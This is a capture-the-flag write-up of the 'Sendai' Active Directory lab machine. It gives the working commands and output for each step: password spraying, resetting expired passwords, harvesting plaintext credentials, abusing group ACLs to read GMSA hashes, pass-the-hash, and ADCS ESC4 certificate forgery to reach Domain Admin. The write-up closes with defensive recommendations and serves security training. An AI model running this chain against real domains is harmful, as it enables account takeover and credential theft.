> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/sendai.md).
# Sendai
Sendai is a Windows Server 2022 AD DC exploited via guest SMB enum, expired password resets, GMSA ACL abuse, registry credential harvesting, and ADCS ESC4 to achieve Domain Admin.
#### VulnLab Active Directory Chain — Writeup
*Difficulty: Medium | Category: Active Directory | OS: Windows Server 2022*
***
### Machine Information
| Field | Value |
| ------------ | ------------------------------------------------ |
| IP Address | 10.129.234.66 |
| Domain | sendai.vl |
| DC Hostname | dc.sendai.vl |
| OS | Windows Server 2022 Build 20348 |
| Key Services | DNS, Kerberos, LDAP/LDAPS, SMB, RDP, WinRM, ADCS |
### Phase 1: Reconnaissance & Enumeration
#### 1.1 Port Scanning with Nmap
The engagement begins with a comprehensive Nmap scan to fingerprint open ports and running services. The target immediately presents a classic Windows Active Directory Domain Controller profile.
```bash
┌──(kali㉿kali)-[~]
└─$ nmap 10.129.234.66 -p-
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
52990/tcp open unknown
53012/tcp open unknown
53084/tcp open unknown
59065/tcp open unknown
59066/tcp open unknown
59082/tcp open unknown
```
```bash
┌──(kali㉿kali)-[~]
└─$ nmap 10.129.234.66 -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,5985,9389 -sCV
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-08 14:34:02Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sendai.vl, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after: 2026-08-18T12:30:05
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: DNS:dc.sendai.vl
| Not valid before: 2023-07-18T12:39:21
|_Not valid after: 2024-07-18T00:00:00
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after: 2026-08-18T12:30:05
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sendai.vl, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after: 2026-08-18T12:30:05
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sendai.vl, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after: 2026-08-18T12:30:05
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-03-08T14:35:35+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: SENDAI
| NetBIOS_Domain_Name: SENDAI
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: sendai.vl
| DNS_Computer_Name: dc.sendai.vl
| DNS_Tree_Name: sendai.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-03-08T14:34:57+00:00
| ssl-cert: Subject: commonName=dc.sendai.vl
| Not valid before: 2026-03-07T13:56:30
|_Not valid after: 2026-09-06T13:56:30
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
```
**Guest Share Enumeration:**
```bash
┌──(kali㉿kali)-[~/Documents/sendai]
└─$ nxc smb 10.129.234.66 -u "guest" -p "" --shares
SMB 10.129.234.66 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.66 445 DC [+] sendai.vl\guest:
SMB 10.129.234.66 445 DC [*] Enumerated shares
SMB 10.129.234.66 445 DC Share Permissions Remark
SMB 10.129.234.66 445 DC ----- ----------- ------
SMB 10.129.234.66 445 DC ADMIN$ Remote Admin
SMB 10.129.234.66 445 DC C$ Default share
SMB 10.129.234.66 445 DC config
SMB 10.129.234.66 445 DC IPC$ READ Remote IPC
SMB 10.129.234.66 445 DC NETLOGON Logon server share
SMB 10.129.234.66 445 DC sendai READ company share
SMB 10.129.234.66 445 DC SYSVOL Logon server share
SMB 10.129.234.66 445 DC Users READ
```
listing shares as anonymous was not allowed, but as guest was allowed
#### 1.2 RID Brute-Force User Enumeration
RID (Relative Identifier) brute-forcing over SMB exploits the SAMR protocol to resolve domain SIDs to account names. Every domain object is assigned a predictable RID starting from 500, allowing full user enumeration without LDAP access.
```bash
┌──(kali㉿kali)-[~]
└─$ nxc smb 10.129.234.66 -u "guest" -p "" --rid-brute
SMB 10.129.234.66 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.66 445 DC [+] sendai.vl\guest:
SMB 10.129.234.66 445 DC 498: SENDAI\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.234.66 445 DC 500: SENDAI\Administrator (SidTypeUser)
SMB 10.129.234.66 445 DC 501: SENDAI\Guest (SidTypeUser)
SMB 10.129.234.66 445 DC 502: SENDAI\krbtgt (SidTypeUser)
SMB 10.129.234.66 445 DC 512: SENDAI\Domain Admins (SidTypeGroup)
SMB 10.129.234.66 445 DC 513: SENDAI\Domain Users (SidTypeGroup)
SMB 10.129.234.66 445 DC 514: SENDAI\Domain Guests (SidTypeGroup)
SMB 10.129.234.66 445 DC 515: SENDAI\Domain Computers (SidTypeGroup)
SMB 10.129.234.66 445 DC 516: SENDAI\Domain Controllers (SidTypeGroup)
SMB 10.129.234.66 445 DC 517: SENDAI\Cert Publishers (SidTypeAlias)
SMB 10.129.234.66 445 DC 518: SENDAI\Schema Admins (SidTypeGroup)
SMB 10.129.234.66 445 DC 519: SENDAI\Enterprise Admins (SidTypeGroup)
SMB 10.129.234.66 445 DC 520: SENDAI\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.234.66 445 DC 521: SENDAI\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.234.66 445 DC 522: SENDAI\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.234.66 445 DC 525: SENDAI\Protected Users (SidTypeGroup)
SMB 10.129.234.66 445 DC 526: SENDAI\Key Admins (SidTypeGroup)
SMB 10.129.234.66 445 DC 527: SENDAI\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.234.66 445 DC 553: SENDAI\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.234.66 445 DC 571: SENDAI\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.234.66 445 DC 572: SENDAI\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.234.66 445 DC 1000: SENDAI\DC$ (SidTypeUser)
SMB 10.129.234.66 445 DC 1101: SENDAI\DnsAdmins (SidTypeAlias)
SMB 10.129.234.66 445 DC 1102: SENDAI\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.234.66 445 DC 1103: SENDAI\SQLServer2005SQLBrowserUser$DC (SidTypeAlias)
SMB 10.129.234.66 445 DC 1104: SENDAI\sqlsvc (SidTypeUser)
SMB 10.129.234.66 445 DC 1105: SENDAI\websvc (SidTypeUser)
SMB 10.129.234.66 445 DC 1107: SENDAI\staff (SidTypeGroup)
SMB 10.129.234.66 445 DC 1108: SENDAI\Dorothy.Jones (SidTypeUser)
SMB 10.129.234.66 445 DC 1109: SENDAI\Kerry.Robinson (SidTypeUser)
SMB 10.129.234.66 445 DC 1110: SENDAI\Naomi.Gardner (SidTypeUser)
SMB 10.129.234.66 445 DC 1111: SENDAI\Anthony.Smith (SidTypeUser)
SMB 10.129.234.66 445 DC 1112: SENDAI\Susan.Harper (SidTypeUser)
SMB 10.129.234.66 445 DC 1113: SENDAI\Stephen.Simpson (SidTypeUser)
SMB 10.129.234.66 445 DC 1114: SENDAI\Marie.Gallagher (SidTypeUser)
SMB 10.129.234.66 445 DC 1115: SENDAI\Kathleen.Kelly (SidTypeUser)
SMB 10.129.234.66 445 DC 1116: SENDAI\Norman.Baxter (SidTypeUser)
SMB 10.129.234.66 445 DC 1117: SENDAI\Jason.Brady (SidTypeUser)
SMB 10.129.234.66 445 DC 1118: SENDAI\Elliot.Yates (SidTypeUser)
SMB 10.129.234.66 445 DC 1119: SENDAI\Malcolm.Smith (SidTypeUser)
SMB 10.129.234.66 445 DC 1120: SENDAI\Lisa.Williams (SidTypeUser)
SMB 10.129.234.66 445 DC 1121: SENDAI\Ross.Sullivan (SidTypeUser)
SMB 10.129.234.66 445 DC 1122: SENDAI\Clifford.Davey (SidTypeUser)
SMB 10.129.234.66 445 DC 1123: SENDAI\Declan.Jenkins (SidTypeUser)
SMB 10.129.234.66 445 DC 1124: SENDAI\Lawrence.Grant (SidTypeUser)
SMB 10.129.234.66 445 DC 1125: SENDAI\Leslie.Johnson (SidTypeUser)
SMB 10.129.234.66 445 DC 1126: SENDAI\Megan.Edwards (SidTypeUser)
SMB 10.129.234.66 445 DC 1127: SENDAI\Thomas.Powell (SidTypeUser)
SMB 10.129.234.66 445 DC 1128: SENDAI\ca-operators (SidTypeGroup)
SMB 10.129.234.66 445 DC 1129: SENDAI\admsvc (SidTypeGroup)
SMB 10.129.234.66 445 DC 1130: SENDAI\mgtsvc$ (SidTypeUser)
SMB 10.129.234.66 445 DC 1131: SENDAI\support (SidTypeGroup)
```
Over 20 domain accounts and groups were discovered, including:
* **Service accounts:** `sqlsvc` (RID 1104), `websvc` (RID 1105)
* **Managed Service Account:** `mgtsvc$` (RID 1130 — the `$` suffix identifies it as a GMSA)
* **Regular users:** Dorothy.Jones, Kerry.Robinson, Naomi.Gardner, Anthony.Smith, Susan.Harper, Stephen.Simpson, Marie.Gallagher, Kathleen.Kelly, Norman.Baxter, Jason.Brady, Elliot.Yates, Malcolm.Smith, Lisa.Williams, Ross.Sullivan, Clifford.Davey, Declan.Jenkins, Lawrence.Grant, Leslie.Johnson, Megan.Edwards, Thomas.Powell
* **Groups:** `staff` (1107), `caoperators` (1128), `admsvc` (1129), `support` (1131)\
The `caoperators` group is immediately interesting given the presence of ADCS — this group likely controls certificate template permissions on the CA.
### Phase 2: Initial Access via Expired Passwords
#### 2.1 Password Spray with Null/Empty Password
With a complete user list, an empty-password spray is conducted against all accounts. The goal is not to find accounts with blank passwords, but to identify accounts returning `STATUS_PASSWORD_MUST_CHANGE` — a Windows error indicating the password is expired and must be changed on next login.
Crucially, this status allows an attacker to change the password via SAMR **without knowing the old one**, since the authentication flow is interrupted before the old password is validated.
```bash
┌──(kali㉿kali)-[~/Documents/sendai]
└─$ nxc smb 10.129.234.66 -u "users.txt" -p ""
SMB 10.129.234.66 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.66 445 DC [-] sendai.vl\sqlsvc: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\websvc: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\dorothy.jones: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\kerry.robinson: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\naomi.gardner: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\anthony.smith: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\susan.harper: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\stephen.simpson: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\marie.gallagher: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\kathleen.kelly: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\norman.baxter: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\jason.brady: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\elliot.yates: STATUS_PASSWORD_MUST_CHANGE
SMB 10.129.234.66 445 DC [-] sendai.vl\malcolm.smith: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\lisa.williams: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\ross.sullivan: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\clifford.davey: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\declan.jenkins: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\lawrence.grant: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\leslie.johnson: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\megan.edwards: STATUS_LOGON_FAILURE
SMB 10.129.234.66 445 DC [-] sendai.vl\thomas.powell: STATUS_PASSWORD_MUST_CHANGE
SMB 10.129.234.66 445 DC [+] sendai.vl\admsvc: (Guest)
```
#### 2.2 Forced Password Change via impacket-changepasswd
`impacket-changepasswd` leverages the MS-SAMR protocol to change an account's password. When it detects `STATUS_PASSWORD_MUST_CHANGE`, it automatically binds as a null session and performs the reset without requiring the current password — a critical feature of this error condition.
```
┌──(kali㉿kali)-[~/Documents/sendai]
└─$ impacket-changepasswd sendai.vl/elliot.yates@10.129.234.66 -newpass 'Test123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Current password:
[*] Changing the password of sendai.vl\elliot.yates
[*] Connecting to DCE/RPC as sendai.vl\elliot.yates
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.
┌──(kali㉿kali)-[~/Documents/sendai]
└─$ impacket-changepasswd sendai.vl/thomas.powell@10.129.234.66 -newpass 'Test123!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Current password:
[*] Changing the password of sendai.vl\thomas.powell
[*] Connecting to DCE/RPC as sendai.vl\thomas.powell
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.
```
#### 2.3 Share Access with New Credentials
Re-enumerating shares with `thomas.powell`'s new credentials reveals significantly expanded access:
* `config` — **READ and WRITE** access (previously inaccessible to Guest)
* `sendai` — **READ and WRITE** access (company share)
* `NETLOGON` and `SYSVOL` — standard domain read access
* `Users` — READ access\
Both `elliot.yates` and `thomas.powell` have identical share permissions. `thomas.powell` is used for all subsequent steps.
```bash
SMB 10.129.234.66 445 DC Share Permissions Remark
SMB 10.129.234.66 445 DC ----- ----------- ------
SMB 10.129.234.66 445 DC ADMIN$ Remote Admin
SMB 10.129.234.66 445 DC C$ Default share
SMB 10.129.234.66 445 DC config READ,WRITE
SMB 10.129.234.66 445 DC IPC$ READ Remote IPC
SMB 10.129.234.66 445 DC NETLOGON READ Logon server share
SMB 10.129.234.66 445 DC sendai READ,WRITE company share
SMB 10.129.234.66 445 DC SYSVOL READ Logon server share
SMB 10.129.234.66 445 DC Users READ
```
#### 2.4 Credential Discovery in the config Share
The config share contains a hidden file `.sqlconfig` (hidden by the Unix-style leading dot convention). This file stores a database connection string with plaintext credentials:
```bash
┌──(kali㉿kali)-[~/Documents/sendai]
└─$ smbclient //10.129.234.66/config -U "thomas.powell"%"Test123\!"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Mar 8 13:09:21 2026
.. DHS 0 Tue Apr 15 22:55:42 2025
.sqlconfig A 78 Tue Jul 11 08:57:11 2023
7019007 blocks of size 4096. 1233773 blocks available
smb: \> get .sqlconfig
getting file \.sqlconfig of size 78 as .sqlconfig (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
```
found an interesting file `.sqlconfig`, Credentials obtained: `sqlsvc` / `SurenessBlob85`. While SQL Server port 1433 is not directly exposed, these are valid domain credentials usable for further enumeration and lateral movement.
```bash
┌──(kali㉿kali)-[~/Documents/sendai]
└─$ cat .sqlconfig
Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=SurenessBlob85;
```
### Phase 3: Privilege Escalation via AD ACL Abuse & GMSA
#### 3.1 Active Directory ACL Analysis (BloodHound)
BloodHound maps Active Directory attack paths by collecting and visualising ACL (Access Control List) relationships between objects. Running the collector with `thomas.powell`'s credentials reveals two critical privilege chains:
**Chain 1: thomas.powell → SUPPORT → admsvc**
* `thomas.powell` is a member of the `SUPPORT` group
* `SUPPORT` has **GenericAll** rights over the `ADMSVC` group
* GenericAll is the most permissive ACE — it grants full control over the target object, including the ability to add and remove members
**Chain 2: admsvc → mgtsvc$ GMSA**
* The `ADMSVC` group has **ReadGMSAPassword** rights over the `mgtsvc$` GMSA account
* ReadGMSAPassword allows any member of `admsvc` to retrieve the current managed password from the `msDS-ManagedPassword` AD attribute
* GMSA passwords are 256-byte random values managed by the DC, but they can be read as NTLM hashes — enabling Pass-the-Hash attacks
The complete attack chain: `thomas.powell` controls `SUPPORT` → abuse GenericAll to join `admsvc` → read GMSA password of `mgtsvc$` → authenticate as `mgtsvc$` using the NTLM hash.
#### 3.2 Abusing GenericAll to Add to admsvc
`bloodyAD` is a Python tool for abusing Active Directory ACLs via LDAP. The GenericAll ACE held by `SUPPORT` over `ADMSVC` is abused to add `thomas.powell` directly to the group:
```bash
┌──(kali㉿kali)-[~]
└─$ bloodyAD --host dc.sendai.vl -d sendai.vl -u 'thomas.powell' -p 'Test123!' add groupMember admsvc thomas.powell
[+] thomas.powell added to admsvc
```
`thomas.powell` now inherits the ReadGMSAPassword permission on `mgtsvc$` through group membership in `admsvc`.
#### 3.3 Reading the GMSA Password
Group Managed Service Accounts (GMSAs) are special AD accounts whose 256-bit passwords are automatically rotated by the DC on a schedule. Authorised principals can read the current password via the `msDS-ManagedPassword` AD attribute. The attribute returns both an NTLM hash and a base64-encoded MSA password blob.
```bash
┌──(kali㉿kali)-[~]
└─$ bloodyAD --host dc.sendai.vl -d sendai.vl -u 'thomas.powell' -p 'Test123!' get object mgtsvc$ --attr msDS-ManagedPassword
distinguishedName: CN=mgtsvc,CN=Managed Service Accounts,DC=sendai,DC=vl
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:1cee4a65ef4459e44eb0031cc640ba18
msDS-ManagedPassword.B64ENCODED: p6L7CLAv5RQDjmOBHReZDhU02xJXzzTk8ZEV3hkrH82yZvk3vkRiI4xP1V/XYg3Sm4F3E4Jq8vmr/TvLO4DQBsEoVYMtcYYnd/C9pRWa8CkGDEC+ueozdyiph+pjCj0Rzzpbm7FRiiDxDO3ZfiCuRAF/YL62Iljwd6bGZk64L+btmIPNs3wBZ08tLc5Zspn7G/5X+yb2ySPY5BCeqBWq+KqWdNU7YVR2WFcyZaFroJKeCLtgC3BO0Q3NTbzJHuQBKR8J2/bWjI61WDqts/mXfA4jnVArZP/vLe5VTQn54ewz7X9KdOcuxg4R3TmjpBmP9dnAd2rS3byeXU0KzkcUTg==
```
#### 3.4 Pass-the-Hash as mgtsvc$ — User Flag
With the NT hash, Pass-the-Hash authentication is used to open a WinRM session as `mgtsvc$` via Evil-WinRM. No password cracking is required — Windows authentication protocols accept the hash directly.
```bash
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.129.234.66 -u "mgtsvc$" -H 1cee4a65ef4459e44eb0031cc640ba18
*Evil-WinRM* PS C:\Users\mgtsvc$\Documents> type C:\user.txt
fff3xxxxxxxxxxxxxxxxxxxxcd3e
```
Shell obtained. The user flag is retrieved:
### Phase 4: Lateral Movement & ADCS ESC4 Exploitation
#### 4.1 Credentials Stored in Windows Service Registry
Windows services store their configuration — including the executable path and command-line arguments — in the registry under `HKLM\SYSTEM\CurrentControlSet\Services`. It is a common misconfiguration for custom internal services to embed credentials directly in their `ImagePath` value, making them readable by any user with local registry access (which includes all domain users by default).
Querying all service ImagePath values from the `mgtsvc$` shell:
```powershell
*Evil-WinRM* PS C:\Users\mgtsvc$> Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\*" | Select-Object DisplayName,ImagePath
@storufs.inf,%UfsServiceDesc%;Microsoft Universal Flash Storage (UFS) Driver System32\drivers\storufs.sys
System32\drivers\storvsc.sys
C:\WINDOWS\helpdesk.exe -u clifford.davey -p RFmoB2WplgE_3p -k netsvcs
```
A custom `helpdesk.exe` service contains hardcoded credentials in its arguments:
```
C:\WINDOWS\helpdesk.exe -u clifford.davey -p RFmoB2WplgE_3p -k netsvcs
```
Credentials obtained: `clifford.davey` / `RFmoB2WplgE_3p`. This is particularly valuable since `clifford.davey` is likely a member of the `caoperators` group — which holds ADCS template permissions.
#### 4.2 ADCS Enumeration with Certipy
Active Directory Certificate Services (ADCS) is the Windows PKI implementation. Misconfigurations in certificate templates enable privilege escalation to Domain Admin via certificate request abuse — the ESC (Escalation) attack categories documented by SpecterOps. Certipy is the standard tool for enumerating and exploiting ADCS.
```bash
┌──(kali㉿kali)-[~]
└─$ certipy find \
-u clifford.davey@sendai.vl \
-p 'RFmoB2WplgE_3p' \
-dc-ip 10.129.234.66 \
-vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sendai-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sendai-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sendai-DC-CA' via RRP
[*] Got CA configuration for 'sendai-DC-CA'
[*] Saved BloodHound data to '20260308142157_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20260308142157_Certipy.txt'
[*] Saved JSON output to '20260308142157_Certipy.json'
```
Findings:
* 34 total certificate templates; 12 currently enabled
* 1 certificate authority: `sendai-DC-CA`
* Vulnerable template identified: **SENDAICOMPUTER** (ESC4)
**ESC4** occurs when an unprivileged user has write permissions over a certificate template's ACL, allowing modification of template attributes to introduce any other ESC condition — most commonly ESC1 (enrollee can supply a Subject Alternative Name containing any UPN, enabling impersonation of any domain account).
#### 4.3 ESC4 Step 1 — Modify the Certificate Template
Certipy's `template` command modifies the target template to allow arbitrary SAN specification. The `-save-old` flag preserves the original configuration to `SendaiComputer.json` for later restoration:
```bash
┌──(kali㉿kali)-[~/Documents/sendai]
└─$ certipy-ad template -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -dc-ip 10.129.234.66 -template SENDAICOMPUTER -save-old
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Saved old configuration for 'SENDAICOMPUTER' to 'SendaiComputer.json'
[*] Updating certificate template 'SendaiComputer'
[*] Successfully updated 'SendaiComputer'
```
Output: `[*] Saved old configuration for 'SENDAICOMPUTER'` and `[*] Successfully updated 'SendaiComputer'`.\
The template is now in an ESC1-vulnerable state — any enrollee can specify an arbitrary UPN in the certificate's Subject Alternative Name field, effectively impersonating any domain account including Administrator.
#### 4.4 ESC4 Step 2 — Request a Certificate as Administrator
With the template modified, a certificate is requested with the `administrator` UPN and the domain Administrator's SID. The SID ties the certificate to the correct account object regardless of UPN formatting:
```bash
┌──(kali㉿kali)-[~/Documents/sendai]
└─$ certipy-ad req -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -dc-ip 10.129.234.66 -target 10.129.234.66 -ca 'sendai-DC-CA' -template SENDAICOMPUTER -upn 'administrator' -sid 'S-1-5-21-3085872742-570972823-736764132-500'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 13
[*] Got certificate with UPN 'administrator'
[*] Certificate object SID is 'S-1-5-21-3085872742-570972823-736764132-500'
[*] Saved certificate and private key to 'administrator.pfx'
```
* Request ID: 13
* Certificate UPN: `administrator`
* Certificate Object SID: `S-1-5-21-3085872742-570972823-736764132-500`
* Certificate saved to: `administrator.pfx`
#### 4.5 Certificate Authentication — Obtaining the Administrator NT Hash
The `administrator.pfx` certificate is used for **Kerberos PKINIT** (Public Key Cryptography for Initial Authentication) — a Kerberos extension allowing certificate-based TGT issuance. The DC validates the certificate against the CA, maps it to the administrator account via the embedded UPN and SID, and issues a TGT. Certipy then uses the **Kerberos U2U** (User-to-User) extension to extract the NT hash from the PAC data in the TGT — no password cracking required:
```bash
┌──(kali㉿kali)-[~/Documents/sendai]
└─$ certipy-ad auth -u administrator -domain sendai.vl -dc-ip 10.129.234.66 -ns 10.129.234.66 -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@sendai.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sendai.vl': aad3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx087a
```
A TGT is obtained for `administrator@sendai.vl` and the NT hash is extracted directly.
### Phase 5: Domain Administrator — Root Flag
#### 5.1 Pass-the-Hash as Domain Administrator
With the administrator's NT hash, Pass-the-Hash via Evil-WinRM grants a fully privileged Domain Administrator shell:
```bash
┌──(kali㉿kali)-[~/Documents/sendai]
└─$ evil-winrm -i 10.129.234.66 -u administrator -H cfb1xxxxxxxxxxxxxxxx087a
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
1bc1xxxxxxxxxxxxxx91cf
```
The root flag is retrieved from the Administrator Desktop:
***
### Attack Path Summary
| # | Technique | Result |
| -- | ---------------------------------- | --------------------------------------------------------------------------------- |
| 1 | RID Brute Force (Guest) | Enumerated 20+ domain users and groups |
| 2 | SMB Password Spray (null pw) | Identified `elliot.yates` and `thomas.powell` with STATUS\_PASSWORD\_MUST\_CHANGE |
| 3 | Forced Password Change (SAMR) | Reset both accounts via null session bind |
| 4 | SMB Share Enumeration | Gained READ/WRITE to `config` and `sendai` shares |
| 5 | Credential Harvesting (.sqlconfig) | Found `sqlsvc` credentials in plaintext: `SurenessBlob85` |
| 6 | BloodHound ACL Analysis | Mapped: `support` →\[GenericAll]→ `admsvc` →\[ReadGMSAPassword]→ `mgtsvc$` |
| 7 | GenericAll Abuse (bloodyAD) | Added `thomas.powell` to `admsvc` group |
| 8 | GMSA Password Read | Retrieved `mgtsvc$` NTLM hash via `msDS-ManagedPassword` |
| 9 | Pass-the-Hash (WinRM) | Shell as `mgtsvc$` — **USER FLAG** captured |
| 10 | Registry Credential Extraction | Found `clifford.davey:RFmoB2WplgE_3p` in service ImagePath |
| 11 | ADCS ESC4 (Certipy) | Modified `SENDAICOMPUTER` template to enable UPN spoofing |
| 12 | Rogue Certificate Request | Certificate issued with `administrator` UPN and SID |
| 13 | PKINIT Auth + Hash Extraction | Administrator NT hash retrieved via certificate auth |
| 14 | Pass-the-Hash (WinRM) | Domain Admin shell — **ROOT FLAG** captured |
***
### Defensive Recommendations
**1. SMB Guest Authentication Enabled** Disable guest authentication via Group Policy (`Network access: Do not allow anonymous enumeration of SAM accounts and shares`). This prevents RID brute-forcing and unauthenticated share browsing.
**2. STATUS\_PASSWORD\_MUST\_CHANGE Exploitation** Enforce account lockout policies and require the old password for resets where possible. Investigate why accounts had never-changed passwords and implement password hygiene monitoring.
**3. Plaintext Credentials in SMB Shares** Never store credentials in configuration files on network shares. Use Windows Credential Manager, LAPS, or Azure Key Vault. Restrict share access to the minimum required principals.
**4. Excessive AD ACLs (GenericAll)** Audit AD ACLs regularly using BloodHound or similar tooling. Remove GenericAll/GenericWrite ACEs from regular user groups and replace with the minimum required rights.
**5. GMSA ReadGMSAPassword Exposure** Restrict `ReadGMSAPassword` to only those service accounts and systems that strictly require it. Audit `PrincipalsAllowedToRetrieveManagedPassword` on all GMSA objects.
**6. Credentials in Windows Service Registry** Never store credentials in service `ImagePath` arguments. Use Group Managed Service Accounts for services requiring domain authentication, or store secrets in Windows Credential Manager with restricted ACLs.
